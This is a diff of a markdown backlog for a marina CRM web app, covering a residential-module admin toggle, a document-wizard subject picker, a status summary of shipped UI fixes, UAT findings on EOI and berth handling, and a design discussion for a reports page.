||||||
|
|
||||||
|
- **`PARTIALLY SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_ (subject row).
|
||||||
|
- **Fix applied:** type dropdown → segmented button strip (Interest / Tenancy / Client / Company / Yacht), all 5 types visible at once so the rep clicks once instead of opening a dropdown. Picker below still adapts per-type (existing pickers reused as-is).
|
||||||
|
- **Deferred:** the fully-unified search ("type 'matt'" → mixed-type results) needs a new `<SubjectCombobox>` against `/api/v1/search`. The segmented strip is the high-value 80% fix; the unified search lands when the wider wizard refactor goes through.
|
||||||
|
- **React-grab anchor:** `<div class="grid grid-cols-..." />` in CreateDocumentWizard.
|
||||||
|
- **Symptom:** picking the document subject means choosing a type (Client / Company / Yacht / Interest / Tenancy) THEN searching that one type's picker. Reps don't think in terms of "what type is the recipient" — they think "I need to send this to deal X" or "this is for client Y." The two-step type-then-picker requires the rep to know the answer to the type question before they can search.
|
||||||
|
- **Fix proposal:** replace the type+picker pair with a single unified search field (same idiom as the global Command-search). Typing surfaces matching clients/companies/yachts/interests/tenancies inline, each row carrying its type label as a badge. Recent interactions surface first when the input is empty. The chosen entity sets both `subjectType` and `subjectId` in one click.
|
||||||
|
- **Bundle with:** the larger wizard refactor (above) — if `/documents/new` becomes a `<GenerateDocumentDialog>`, this is the natural place to ship the unified subject picker as one consistent pattern.
|
||||||
|
|
||||||
|
### Admin toggle to disable Residential entirely (module gate)
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed) — 2026-05-31`** — net-new wiring; mirrors the Tenancies / Invoices / Expenses module-toggle pattern.
|
||||||
|
- **Fix applied (2026-05-31):** full module gate shipped end-to-end, defaulting ON.
|
||||||
|
- New `src/lib/services/residential-module.service.ts` (`isResidentialModuleEnabled` / `enableResidentialModule` / `disableResidentialModule` / `assertResidentialModuleEnabled`) — TDD'd via `tests/integration/residential-module.test.ts` (6 tests, RED→GREEN).
|
||||||
|
- Registry key `residential_module_enabled` (`section: 'operations.residential'`, `defaultValue: true`) in `src/lib/settings/registry.ts`.
|
||||||
|
- Route guard `src/app/(dashboard)/[portSlug]/residential/layout.tsx` renders `<ModuleDisabledPage>` when off — covers all 5 residential pages.
|
||||||
|
- Sidebar: `requiresResidentialModule` section flag + `residentialModuleByPort` map resolved SSR in `src/app/(dashboard)/layout.tsx`, threaded through `app-shell.tsx` → `sidebar.tsx`; mobile `more-sheet.tsx` Residential tile gated via new `residentialModuleEnabled` prop.
|
||||||
|
- Global search: module gate added at the shared chokepoint (`searchResidentialClients` / `searchResidentialInterests` early-return `[]` when off) so disabled-port records don't dead-end on the guard page — covers both the all-buckets fan-out and the single-bucket `type=` path.
|
||||||
|
- Public intake: `src/app/api/public/residential-inquiries/route.ts` now `assertResidentialModuleEnabled` after port resolution → 404 when off (regression test added to `tests/integration/public-residential-inquiry.test.ts`).
|
||||||
|
- Admin Switch: `residential_module_enabled` added to `settings-manager.tsx` KNOWN_SETTINGS (writes via `PUT /api/v1/admin/settings/[key]`).
|
||||||
|
- **Verification:** tsc clean; lint clean (0 errors); residential-module + public-residential-inquiry + search unit suites green (10 + 22 tests).
|
||||||
|
- **Deliberately NOT gated:** the `admin/residential-stages` page stays reachable when the module is off — an admin may legitimately configure residential stages before enabling. Reconsider if the user wants it hidden too.
|
||||||
|
- **Deferred (separate cleanup):** the consolidated `admin/operations` page hosting all four module toggles (+ retiring the orphaned `tenancies-module/*` endpoints) — see open question 3 below.
|
||||||
|
- **User ask (verbatim, 2026-05-31):** "is it possible to make the residential interests sections/functions in the platform to be toggleable in the admin space?"
|
||||||
|
- **Answer:** yes. The platform already has the exact pattern for Tenancies / Invoices / Expenses; residential can copy it. Caveat: residential is currently gated by **permissions** (`residential_clients` / `residential_interests` access verbs + the `residentialAccess` role flag at _src/lib/db/schema/users.ts:455_, auto-granting perms at _src/lib/api/helpers.ts:209-213_), **not** a module toggle, and has **no layout gate at all** today. So this is genuinely new wiring, not a flag flip.
|
||||||
|
- **Fix proposal (copy the Tenancies template — the most complete of the three):**
|
||||||
|
1. **Registry entry** — add `residential_module_enabled` to _src/lib/settings/registry.ts_ (mirror the `tenancies_module_enabled` entry at lines 614-623): `section: 'operations.residential'`, `type: 'boolean'`, `scope: 'port'`, `defaultValue: true` (residential is in active use; default ON so existing ports aren't surprised — unlike tenancies/invoices which default OFF).
|
||||||
|
2. **Module service** — new _src/lib/services/residential-module.service.ts_ mirroring _tenancies-module.service.ts_: `isResidentialModuleEnabled(portId)` / `enableResidentialModule` / `disableResidentialModule` / `assertResidentialModuleEnabled` (throws `NotFoundError` when off; used by API handlers). Lazy "any residential_clients row exists" auto-enable is optional.
|
||||||
|
3. **Route gate** — new _src/app/(dashboard)/[portSlug]/residential/layout.tsx_ rendering `<ModuleDisabledPage moduleName="Residential" …>` (copy _expenses/layout.tsx:26-43_). One layout covers all 5 residential pages (clients list/detail, interests list/detail, index redirect). The `admin/residential-stages` page should also be gated.
|
||||||
|
4. **Sidebar** — add a `requiresResidentialModule` flag to the Residential nav section in _src/components/layout/sidebar.tsx:119-134_ (alongside the existing `residentialRequired`); resolve a `residentialModuleByPort` map in _src/app/(dashboard)/layout.tsx:82-109_ (mirror the tenancies/expenses maps) and thread it through _src/components/layout/app-shell.tsx:28-34,97-98,150-151_; add the filter at the existing nav filter (sidebar.tsx ~390/419). **Also gate the mobile entry** _src/components/layout/mobile/more-sheet.tsx:58_ (currently ungated).
|
||||||
|
5. **Search** — gate the two residential buckets in _src/lib/services/search.service.ts_ (`searchResidentialClients` line 497, `searchResidentialInterests` line 725; permission checks at 1949-1956 / 2163-2169 / 2199-2205) behind the module flag too, plus recently-viewed hydration in _src/lib/services/dashboard.service.ts:484-506_.
|
||||||
|
6. **Public inquiry endpoint** — _src/app/api/public/residential-inquiries/route.ts_ should `assertResidentialModuleEnabled` (or 404) when off, so a disabled port stops accepting residential inquiries from the website. Currently only rate-limit + validation gate it.
|
||||||
|
7. **Admin UI** — realistic path is the generic settings manager: add a `residential_module_enabled` Switch entry to _src/components/admin/settings/settings-manager.tsx_ (mirror the `tenancies_module_enabled` entry at lines 51-57), writing via `PUT /api/v1/admin/settings/[key]`. **Note:** the dedicated `/api/v1/admin/tenancies-module/enable|disable` endpoints are orphaned (nothing in the UI calls them) and the Invoices toggle has a registry entry + gate but no UI — so the settings-manager Switch is the path that actually works. Optionally build the long-promised `admin/operations` page to host all four module toggles in one place (closes the orphaned-endpoint gap for tenancies too).
|
||||||
|
- **Surfaces to gate (user-facing, ~a dozen):** 5 dashboard pages (1 new layout), 1 admin stages page, sidebar section, mobile more-sheet entry, 2 search buckets + recently-viewed, public inquiry endpoint. **Backend stays preserved (~28 files):** 4 DB tables + relations (_src/lib/db/schema/residential.ts_), ~12 service fns (_residential.service.ts_, _residential-stages.service.ts_), ~14 v1 API routes (_src/app/api/v1/residential/\*_), 11 components (_src/components/residential/\*_), 2 email templates (_residential-inquiry.tsx_), validators, seeds, constants — disabled but invisible, exactly like the Tenancies/Expenses "soft hide, data preserved" model.
|
||||||
|
- **Effort:** ~4-6h (half a day). Bulk is the sidebar/app-shell map plumbing + the new layout + search gating; the registry/service/Switch are ~1h.
|
||||||
|
- **Alternatives considered + rejected:**
|
||||||
|
- Reuse the existing permission gate (just strip `residentialAccess` from all roles) — rejected: that's per-user, not a clean port-level "this port doesn't do residential" switch, and leaves the public inquiry endpoint live + the nav logic fragile.
|
||||||
|
- Hard-delete residential tables for ports that don't use it — rejected: violates the established non-destructive module-toggle convention (data preserved, re-enable any time).
|
||||||
|
- **Open questions for the user:**
|
||||||
|
1. **Default state** — ON for existing ports (residential is live; least surprising) or OFF (treat residential as opt-in like tenancies/invoices)? Default proposal: ON.
|
||||||
|
2. **Scope** — just hide the UI surfaces, or also hard-reject the public residential-inquiry endpoint when off? Default proposal: both (a disabled port shouldn't silently accept inquiries it can't see).
|
||||||
|
3. Build the proper `admin/operations` page to host all four module toggles (and retire the orphaned tenancies endpoints), or just add the residential Switch to the existing settings manager? Default proposal: settings-manager Switch now; Operations page as a separate cleanup.
|
||||||
|
- **Cross-refs:** sibling of the "Admin toggle to disable Tenancies entirely" finding (Bucket 1, `PARTIALLY SHIPPED`) and the invoices module-toggle work in `docs/launch-readiness.md` Initiative 1c. All four toggles share the same incomplete admin-UI story — worth adding the Operations page once and wiring all of them through it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bucket 4 — Bugs (severity-tagged)
|
||||||
|
|
||||||
|
_None yet._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Append protocol
|
||||||
|
|
||||||
|
- **One finding per entry.** Don't bundle multiple distinct issues inside one bullet.
|
||||||
|
- **Always tag status** as the first inline tag: `OPEN | IN PROGRESS | SHIPPED in <hash> | SHIPPED locally (not yet committed) | PARTIALLY SHIPPED | QUEUED | BLOCKED`.
|
||||||
|
- **Be incredibly detailed.** Every finding should carry:
|
||||||
|
- **File:line evidence** across every layer touched (component + service + validator + migration when relevant — not just the visible component).
|
||||||
|
- **React-grab anchor verbatim** when the user pasted one (the `<tag class="..." />` in `Component` chain).
|
||||||
|
- **Symptom** describing what the user saw + what they expected. Reference the screenshot's content when one was provided.
|
||||||
|
- **Root cause** — explain the actual mechanism (which query, which prop, which filter is wrong). When unknown, list ranked hypotheses.
|
||||||
|
- **Fix proposal** concrete enough that a future agent can implement without re-investigating. Name the functions, props, validators, migrations, query keys. Walk each layer in order when the fix touches multiple (service → API → UI).
|
||||||
|
- **Effort estimate** (hour range).
|
||||||
|
- **Alternatives considered + rejected** when there was a design call to make.
|
||||||
|
- **Open questions** for the user when a decision is pending — number them so the user can answer by reference.
|
||||||
|
- **Bundle-with** notes when the finding should ship together with another so related fixes don't drift.
|
||||||
|
- **Cross-refs** to related findings (by heading) and to shipped commits (by hash).
|
||||||
|
- **Acceptance criteria** when the fix is non-trivial — what does "done" look like?
|
||||||
|
- **Always include file:line evidence** when known — even a guess is better than none.
|
||||||
|
- **Bucket by effort, not domain.** Quick / Medium / Large / Bug. Cross-domain refactors that touch several files but each touch is small belong in Quick or Medium.
|
||||||
|
- **Premature or aspirational items still queue.** Reason: the project's feedback memory explicitly says don't silently filter; the finding belongs even if we won't act on it this session.
|
||||||
|
- **Shipped entries keep their detail.** When marking a finding SHIPPED, edit the status tag and append a "Fix applied:" paragraph below the original symptom + root cause. Don't strip the context — the queue is also the history.
|
||||||
@@ -13,6 +13,47 @@
|
|||||||
> - `medium` — UX regression, partial functionality, recoverable error
|
> - `medium` — UX regression, partial functionality, recoverable error
|
||||||
> - `low` — cosmetic, copy, polish
|
> - `low` — cosmetic, copy, polish
|
||||||
|
|
||||||
|
> **2026-05-26 status check** — drain pass landed across the long-tail polish queue. Cumulative state below; per-item commit hashes live in `git log`.
|
||||||
|
>
|
||||||
|
> **Big-ticket modules shipped (May 25–26):**
|
||||||
|
>
|
||||||
|
> - **Reports P3–P7** — `e9ef583` BullMQ render+email worker; `2072f6c` landing + per-kind builder + Templates/Runs/Schedules sub-pages; `3f9c458` CSV output renderer; `866b910` subtitle override + `8998f68` cover-page brand picker. Page is end-to-end functional with scheduled runs, output formats, and dashboard cover branding.
|
||||||
|
> - **Tenancies P2–P7** — `ccc775d` rename migration `berth_reservations → berth_tenancies`; `20549fb` webhook auto-create + first-insert flip; `bfb29ab` public-map status flip via active permanent tenancy; `3a48150` sidebar entry + 404 + API gate; `e4daa48` entity-tab module gate; `911b51a` generic create + edit dialog + self-FKs; `db14056` 4 module-gated dashboard widgets; `d32e557` tenure-aware renewal + transfer actions; `dd25ccf` 7-agent system-wide rename audit fixes. **Chicken-and-egg fix landed 2026-05-26** — webhook auto-create no longer gates itself on `isTenanciesModuleEnabled`; the row-exists fallback in that helper lazily surfaces the module on first signing (`docs/tenancies-design.md` §"When disabled" updated).
|
||||||
|
> - **UploadForSigningDialog field metadata** — `c4450dd` PlacedField.defaultValue + per-type panel inputs + Documenso v2 `field/create-many` payload extension.
|
||||||
|
> - **Bulk operations on berths** — `c549622` bulk-price editing UI (inline cell + bulk-edit sheet); `991e222` bulk-edit affordance covering status/tenure_type/tag/archive + 500-id cap + per-row failure reporting.
|
||||||
|
> - **Documents UX** — `c886933` clickable rows open in-page file preview (Tier 1+2 universal preview); `400ff99` inline edits on berth detail Overview tab now persist visually; `da391b1` interest dimensions dual-source (yacht dims for the recommender).
|
||||||
|
>
|
||||||
|
> **Form-error UX sweep — complete.** All `useForm` callers in `src/components` adopt `useFormScrollToError` + `<FormErrorSummary>` (the one remaining holdout is the dev-only `shared/form-devtool.tsx`).
|
||||||
|
>
|
||||||
|
> **Bucket 2/4 polish drained 2026-05-26:**
|
||||||
|
>
|
||||||
|
> - **next-intl ripped out** — zero `useTranslations()` callers ever existed; the dependency, plugin wrap, request config, and `messages/en.json` are gone. `<html lang="en">` hardcoded.
|
||||||
|
> - **RTL lint rule** — warn-only `no-restricted-syntax` on physical Tailwind utilities (`ml-/mr-/pl-/pr-/text-left/text-right/border-l/border-r/rounded-l-/rounded-r-`) inside `JSXAttribute[name='className']` literals across `src/components` + `src/app`. Existing 1,000+ sites grandfathered; new code trends toward logical (`ms-/me-/ps-/pe-/text-start/text-end/border-s/border-e/rounded-s-/rounded-e-`).
|
||||||
|
> - **Currency labels via Intl.DisplayNames** — `SUPPORTED_CURRENCIES` no longer carries hardcoded English labels; new `currencyLabel(code, locale?)` helper resolves via `Intl.DisplayNames`. Two consumer sites migrated (`CurrencySelect`, `settings-manager`).
|
||||||
|
> - **Date locale sweep** — 7 surfaces (`template-version-history`, `website-analytics/session-detail-sheet` + `sessions-list`, `signing-details-dialog` ×2, `reports-list` ×2) flipped from `toLocaleString('en-GB'|'en-US')` to `toLocaleString(undefined, …)` so dates honor the user's runtime locale.
|
||||||
|
> - **Dialog/Sheet width bump** — document + EOI + entity-form dialogs all gain a `lg:max-w-4xl`/`lg:max-w-5xl` step so wide desktops get breathing room. Hit: `external-eoi-edit-dialog`, `signing-details-dialog`, `eoi-generate-dialog`, `external-eoi-upload-dialog`, `interest-form`, `client-form`, `yacht-form`, `company-form`, `form-template-form`, `template-form`.
|
||||||
|
> - **PaymentsSection collapsed-bar** — slim one-line bar shows "Payments · Not received yet" or "Payments · $X received · N payments · Expand"; per-interest collapse state persisted in localStorage; auto-expands on a fresh deposit record.
|
||||||
|
> - **muted-foreground opacity sweep** — text-bearing `text-muted-foreground/{60,70,80}` hits dropped to plain `text-muted-foreground` on `template-token-picker`, `admin-sections-browser`, `upload-receipts-guide`, `client-card`, `residential-interest-card`, `mobile-search-overlay`, `command-search` ×3, `aggregated-section`, `activity-feed`. Icon-only opacity hits (aria-hidden Lucide icons) left as-is.
|
||||||
|
> - **Micro-type bump** — `text-[10px]` and `text-[11px]` swept to `text-xs` (12px) across 87 files in `src/components` + `src/app`. Pure mechanical replace; no behavioural change.
|
||||||
|
> - **Icon-only button lint rule** — `jsx-a11y/control-has-associated-label` enabled (warn) with a sensible `controlComponents: ['Button']` config. Caught + fixed 4 empty `<th>`/`<td>` placeholders in bulk-add-berths-wizard, invitations-manager, berth-interests-tab via `sr-only` action labels.
|
||||||
|
> - **EOI tab upload-draft parity** — confirmed already shipped: `documentTypeSchema` accepts `'eoi'` and `interest-eoi-tab.tsx:243` mounts the dialog.
|
||||||
|
> - **EntityFolderView per-row interest badge** — confirmed already shipped (lines 116–118 render the badge + interest link).
|
||||||
|
> - **Onboarding autoCheckResolver** — confirmed already working: the checklist hits `/api/v1/admin/settings/resolved?keys=...` which runs the port→global→env→default chain, and `smtp_host_override` / `documenso_api_url_override` / etc. have `envFallback` set on their registry entries. Steps auto-tick when a port relies on env config.
|
||||||
|
> - **Global-search translucent bug** — defensive fix in `command-search.tsx:327` (`bg-white dark:bg-popover shadow-lg`) is solidly opaque; no parent has opacity/blend that would leak through. Closed.
|
||||||
|
>
|
||||||
|
> **Marketing-site followups** parked separately in `docs/marketing-site-followups.md`:
|
||||||
|
>
|
||||||
|
> - Umami Phase 4a (marketing-site instrumentation), Phase 3/5 (events tab + funnels) — blocked on the other repo.
|
||||||
|
> - Email pixel/tracked-link end-to-end verification with a real human inbox.
|
||||||
|
> - Public berth endpoint + admin recipient UI for the website-to-CRM email cutover.
|
||||||
|
>
|
||||||
|
> **Genuinely still-open (long-tail, low ROI):**
|
||||||
|
>
|
||||||
|
> - **Sheet width on wide viewports** — bumped the document/EOI dialogs by one tier; if any specific dialog still feels narrow, name it.
|
||||||
|
> - **Custom-field-form FieldLabel sweep** — primitive exists, registry-driven-form already surfaces descriptions inline (better discoverability than tooltip), custom-fields uses FieldLabel. Bespoke admin pages (~10–15 surfaces) still use plain `<Label>`; sweep is multi-hour and low impact since most admin settings have inline copy already.
|
||||||
|
> - **Naive ternary pluralization** (`count === 1 ? 'X' : 'Xs'`) across 15+ surfaces — won't matter until a Polish/Arabic/Russian customer signs. Cost: ~1h after i18n strategy lands.
|
||||||
|
> - **CSS logical properties full sweep** — lint rule added; existing 1,000+ sites grandfathered. Skip unless RTL customer is imminent.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Bucket 1 — Quick fixes (<15 min)
|
## Bucket 1 — Quick fixes (<15 min)
|
||||||
@@ -120,6 +161,71 @@ _Copy tweaks, alignment, single-prop edits, obvious typos._
|
|||||||
> - **SHIPPED (primitive) in 8f42940:** `src/components/ui/file-input-button.tsx` lands with the shape the queue asked for + an optional `showSelectedFilename` mode. external-eoi-upload-dialog migrated. The 5 other queued sites were re-audited — they already use the hidden-input + Button-trigger pattern (no browser-default UI visible), so no migration was needed; the primitive is in place for any new caller.
|
> - **SHIPPED (primitive) in 8f42940:** `src/components/ui/file-input-button.tsx` lands with the shape the queue asked for + an optional `showSelectedFilename` mode. external-eoi-upload-dialog migrated. The 5 other queued sites were re-audited — they already use the hidden-input + Button-trigger pattern (no browser-default UI visible), so no migration was needed; the primitive is in place for any new caller.
|
||||||
> - **EOI empty state: add "Mark as signed without file" button (parity with Reservation + Contract tabs)** — _src/components/interests/interest-eoi-tab.tsx:553-562_ (`EmptyEoiState` only renders Generate + Upload paper-signed) — `MarkExternallySignedDialog` already supports `docType: 'eoi'` (mark-externally-signed-dialog.tsx:37-41) with full copy ("Flips the EOI sub-status to 'signed' without uploading a file…"); the reservation tab uses the same dialog via a third ghost-button row (interest-reservation-tab.tsx:378-380). EOI tab's empty state just never grew the button. Add it as a third ghost-variant Button, wired to a `setMarkExternalOpen(true)` state hook + the existing dialog. ~5-10 min. Captured 2026-05-21 from UAT. **SHIPPED in 52342ee.**
|
> - **EOI empty state: add "Mark as signed without file" button (parity with Reservation + Contract tabs)** — _src/components/interests/interest-eoi-tab.tsx:553-562_ (`EmptyEoiState` only renders Generate + Upload paper-signed) — `MarkExternallySignedDialog` already supports `docType: 'eoi'` (mark-externally-signed-dialog.tsx:37-41) with full copy ("Flips the EOI sub-status to 'signed' without uploading a file…"); the reservation tab uses the same dialog via a third ghost-button row (interest-reservation-tab.tsx:378-380). EOI tab's empty state just never grew the button. Add it as a third ghost-variant Button, wired to a `setMarkExternalOpen(true)` state hook + the existing dialog. ~5-10 min. Captured 2026-05-21 from UAT. **SHIPPED in 52342ee.**
|
||||||
> - **Activity feed: "See all" link to the full audit log** — _src/components/dashboard/activity-feed.tsx_ (ActivityFeedInner, around line 175) — the card lists the most recent audit events but has no jump-off to the full audit-log page. Add a "See all" link in the card header (or as a trailing row underneath the list). Confirm the target route (likely `/{portSlug}/admin/audit-log`) and permission-gate the link by the same `audit_log.view` perm the admin sidebar uses, so non-admin reps see the card but not the link. ~10 min. **SHIPPED in 203f543:** link points at `/<port>/admin/audit` and is gated by `admin.view_audit_log`.
|
> - **Activity feed: "See all" link to the full audit log** — _src/components/dashboard/activity-feed.tsx_ (ActivityFeedInner, around line 175) — the card lists the most recent audit events but has no jump-off to the full audit-log page. Add a "See all" link in the card header (or as a trailing row underneath the list). Confirm the target route (likely `/{portSlug}/admin/audit-log`) and permission-gate the link by the same `audit_log.view` perm the admin sidebar uses, so non-admin reps see the card but not the link. ~10 min. **SHIPPED in 203f543:** link points at `/<port>/admin/audit` and is gated by `admin.view_audit_log`.
|
||||||
|
> - **Interest form berth-picker: render selected berths as compact range/list instead of "A1 + N more"** — _src/components/interests/interest-form.tsx:439-447_ (the PopoverTrigger label render) + reuse _src/lib/templates/berth-range.ts:48_ (`formatBerthRange`, already tested + already used for EOIs / folder names / document-detail Interest sub-label). Today: primary mooring + `" + N more"` truncation regardless of count or layout — `A1 + 4 more` for 5 consecutive berths reads worse than `A1-A5`. Fix: build the full mooring list (primary + additional), pass through `formatBerthRange()`, render the resulting string. Then apply a truncation cap **on segment count** (post-range-collapse `.split(', ').length`): ≤5 segments → render in full (`A1-A5` or `A1, A3, B5-B7, C2, C4`); >5 nonconsecutive segments → fall back to the legacy `<first segment> + N more` form so the button doesn't overflow. Consecutive runs always collapse to a single segment, so `A1-A20` (20 berths, 1 segment) renders compact while `A1, A3, A5, A7, A9, A11` (6 segments) truncates. ~10 min. Captured 2026-05-24 from UAT.
|
||||||
|
> - **Primary berth must always be included in the EOI bundle (force checkbox on)** — _src/components/documents/eoi-generate-dialog.tsx_ (the "EOI scope" section shipped in ef37901 — currently lets the rep uncheck any berth including the primary), _src/lib/services/interest-berths.service.ts_ `addInterestBerth` + the EOI-generate handler (no service-side enforcement of "primary ⇒ in_eoi_bundle=true"). Today a rep can uncheck the primary berth's "Include in EOI" checkbox before generating, which produces a signed envelope that doesn't commit to the deal's canonical berth — semantically nonsense (the primary IS the berth the deal is about). Fix shape: (a) UI - in EoiGenerateDialog's scope picker AND the upcoming ExternalEoiUploadDialog berth-scope step, render the primary berth's "In EOI" checkbox as checked + disabled with a tooltip ("Primary berth is always included"); (b) Service - `addInterestBerth` and `upsertInterestBerth` should set `is_in_eoi_bundle=true` whenever `is_primary=true`, with a server-side guard rejecting any update that tries to set `is_in_eoi_bundle=false` while `is_primary=true`. Backfill: one-off SQL to flip `is_in_eoi_bundle=true` on any existing row where `is_primary=true AND is_in_eoi_bundle=false`. ~45 min - 1h. Captured 2026-05-24 from UAT.
|
||||||
|
> - **EOI signature progress on Overview: barebones SigningProgress + "View EOI" CTA** — _src/components/interests/interest-tabs.tsx_ (OverviewTab milestone strip) + reuse _src/components/documents/signing-progress.tsx_. Today the EOI milestone block on Overview only shows "EOI sent" / "EOI signed" sub-items (binary ticks). User wants the same per-signer progress widget that lives on the EOI tab, but barebones - signature order + who's signed at a glance + a "View EOI →" link to jump to the EOI tab for the rest of the actions (resend, cancel, etc.). Cheapest path: mount `<SigningProgress documentId={activeEoi.id} signers={signers} />` inside the milestone card when EOI is in `sent` / `partially_signed` / `signed`. Wrap in a small "Active EOI" subsection with a button at the bottom right linking to the EOI tab. ~30-45 min. Captured 2026-05-24 from UAT.
|
||||||
|
> - **Website analytics: PDF export parallel to the dashboard report** — _new_ `src/components/reports/export-website-analytics-pdf-button.tsx` + _new section catalog_ `src/lib/services/website-analytics-report-widgets.ts` + _new resolver_ `src/lib/services/website-analytics-report-data.service.ts` + reuse the existing `/api/v1/reports/generate` route with `kind: 'website-analytics'` + chart primitives in `src/lib/pdf/reports/charts.tsx`. Today only the dashboard has a PDF export; reps want the same affordance on /website-analytics so they can ship the Umami snapshot for the period. Sections to include: realtime KPIs, pageviews chart, top pages / referrers / countries (tables), weekly heatmap, world map (geo donut), sessions list (top N). Date-range default inherits the page's active range (same pattern as the dashboard fix above). ~6-8h end-to-end. Captured 2026-05-24 from UAT.
|
||||||
|
> - **🟡 OPEN QUESTION — promote Reports from a dashboard dialog to a dedicated page with proper UI. NEEDS DESIGN DISCUSSION before scoping.** — current surface area: `<ExportDashboardPdfButton>` lives in the dashboard header (`src/components/dashboard/dashboard-shell.tsx:174`), opens a dialog with sections checklist + date range + saved-templates picker + preview. As the catalog grew (5 widgets → 25 → likely 40+ once website-analytics export lands), the dialog UX is getting cramped: sections scroll inside a fixed-height popup, no grouping by domain, no per-section data-availability badges, no run-history / saved-template management surface, no schedule-recurring affordance.
|
||||||
|
> - **Discussion seeds (NOT a commitment — anchor for the design pass):**
|
||||||
|
> - **Q1.** Single Reports landing page at `/{portSlug}/reports` listing every report kind (Dashboard, Website Analytics, Client Summary, Interest Summary, Berth Spec, Occupancy, Expenses, …) with a "Generate" CTA per row?
|
||||||
|
> - **Q2.** Per-report builder screen with full-page layout: left panel = sections checklist grouped by domain (Summary / Pipeline / Berths / Lead sources / Operations) + per-section data-availability pills; right panel = live PDF preview that re-renders on toggle.
|
||||||
|
> - **Q3.** Saved-templates manager (rename, share with team, set default-for-this-port, archive). Today `<SavedTemplatesPicker>` is a popover inside the dialog with no management UI.
|
||||||
|
> - **Q4.** Run history: per-port log of every report generated (when, by whom, which sections, downloaded vs emailed). Drives reproducibility ("send me the same report Sarah ran last month") and audit.
|
||||||
|
> - **Q5.** Schedule recurring reports — pick a saved template + cadence (weekly Monday 9am, monthly first-of-month, quarterly) + recipients; the cron fires the report and emails the PDF. Massive value for stakeholders who want regular updates without nagging the operator.
|
||||||
|
> - **Q6.** Per-recipient delivery — email the PDF to designated stakeholders straight from the Generate screen (vs. download + manual email).
|
||||||
|
> - **Q7.** Permission model — `reports.export` exists today; do we need `reports.schedule` + `reports.manage_templates` carve-outs for the scheduling + sharing flows?
|
||||||
|
> - **Q8.** Integration with existing surfaces — keep the dashboard's "Export as PDF" button as a quick path that pre-selects the right report? Or remove it in favor of the dedicated page entirely?
|
||||||
|
> - **Q9.** Visual-design ambition — fleshing this out is also a chance to bring some polish (preview hover state, drag-to-reorder sections, save-as-template inline, schedule from the same screen).
|
||||||
|
> - **Q10.** Output formats beyond PDF — CSV export of the underlying data, Excel workbook with one sheet per section, PNG/JPEG snapshots of each chart, public share-link to a hosted HTML version?
|
||||||
|
> - **Q11.** Customisable report metadata — title + subtitle + cover-page copy + footer note. Today the PDF header is hardcoded "Dashboard summary · {date-range-line}" at `src/lib/pdf/reports/dashboard-report.tsx:195`; the render path already accepts a `subtitle` prop override but the dialog never exposes it. The dedicated-page builder should expose: report title, optional subtitle, optional intro paragraph, optional sign-off / footer (e.g. "Prepared for Board Meeting Q1 2026"). Saved-templates inherit these.
|
||||||
|
> - **Action:** schedule a design session covering Q1-Q10 with the operator stakeholder. Output a short design doc (`docs/reports-page-design.md`) covering routing, data shape, scheduler, permissions, then scope into discrete Bucket 3 items. Until then, keep iterating the dialog (badges, data-availability, currency etc.). Captured 2026-05-24 from UAT.
|
||||||
|
> - **🟢 DECISIONS LOCKED 2026-05-24 (via AskUserQuestion):**
|
||||||
|
> - **Q1 + Q2 surface:** Dedicated `/{portSlug}/reports` page with full-page builder (left = sections grouped by domain + availability pills; right = live PDF preview). Keep adopting Q2's two-panel layout.
|
||||||
|
> - **Q3 templates:** Rename + archive, share with team (port-scoped), duplicate from another template. **Skip** "set default-for-port" at v1.
|
||||||
|
> - **Q4 run history:** Yes — ship in v1. New `report_runs` table; list view on /reports; "Re-run" CTA reproduces with same sections + range.
|
||||||
|
> - **Q5 scheduling:** Yes — v1 must include scheduling. Saved template + cadence (weekly / monthly / quarterly) + recipients via BullMQ.
|
||||||
|
> - **Q6 delivery:** Yes — "Generate & email" alongside "Generate & download." Recipients + optional message; same shape as scheduled delivery.
|
||||||
|
> - **Q7 permissions:** Two perms — `reports.export` (generate + download; everyone with current access) and `reports.admin` (manages BOTH templates AND schedules; super_admin only by default).
|
||||||
|
> - **Q8 dashboard button:** Keep the dashboard's "Export as PDF" as a quick-path that pre-selects the Dashboard report kind at /reports with the current date range pre-filled. One-click access preserved.
|
||||||
|
> - **Q10 output formats:** PDF (primary) + CSV export of underlying data + PNG/JPEG chart snapshots. **Skip** Excel workbook and public hosted-HTML share-link for v1.
|
||||||
|
> - **Q11 metadata:** Override report title + subtitle; cover-page logo / branding swap (use another port's branding on the cover). **Skip** cover-page intro paragraph and footer/sign-off note for v1.
|
||||||
|
> - **Action:** scope into Bucket 3 items. Next step: write `docs/reports-page-design.md` covering routing, table shape (`report_runs`, `report_templates_shared`), scheduler queue + cron handler, permission seed, then split into discrete PRs.
|
||||||
|
> - **Dashboard PDF export dialog: surface per-section data availability + don't render uninformative "n/a" rows** — _src/lib/services/dashboard-report-data.service.ts_ (per-widget resolvers) + _src/components/reports/export-dashboard-pdf-button.tsx_ (sections checklist) + _src/lib/pdf/reports/dashboard-report.tsx_ (render-time empty-state handling). Today on a fresh port (e.g. Port Nimara), the Average Sales Cycle section renders "Median: n/a · Mean: n/a" because there are 0 signed contracts to compute against. Same risk for: stage_conversion_rates (needs deals that have progressed AND won), berth_demand_ranking (needs interests on berths), reminders_summary (needs reminders in window), recent_activity (needs audit-log entries), new_clients_period / new_interests_period (window-dependent), etc. The "n/a" output is noisy + the rep wasn't warned that the section would be empty.
|
||||||
|
> - **Two-tier fix:**
|
||||||
|
> - **(a) Cheap baseline (~30-45 min):** server-side omit-when-empty. Each resolver returns `null` (or sets `data[widget] = undefined`) when the resulting payload has no meaningful content. The PDF render path already gates on `data.X ?` so the section disappears entirely. Concrete sections to add the gate to: avg_sales_cycle (sampleSize === 0 → omit), reminders_summary (no reminders → omit or render the empty state with copy), stage_conversion_rates (no advanced deals → omit), recent_activity (no events → omit), every period-cohort resolver (count === 0 → omit). When omitted, the section just doesn't appear in the PDF.
|
||||||
|
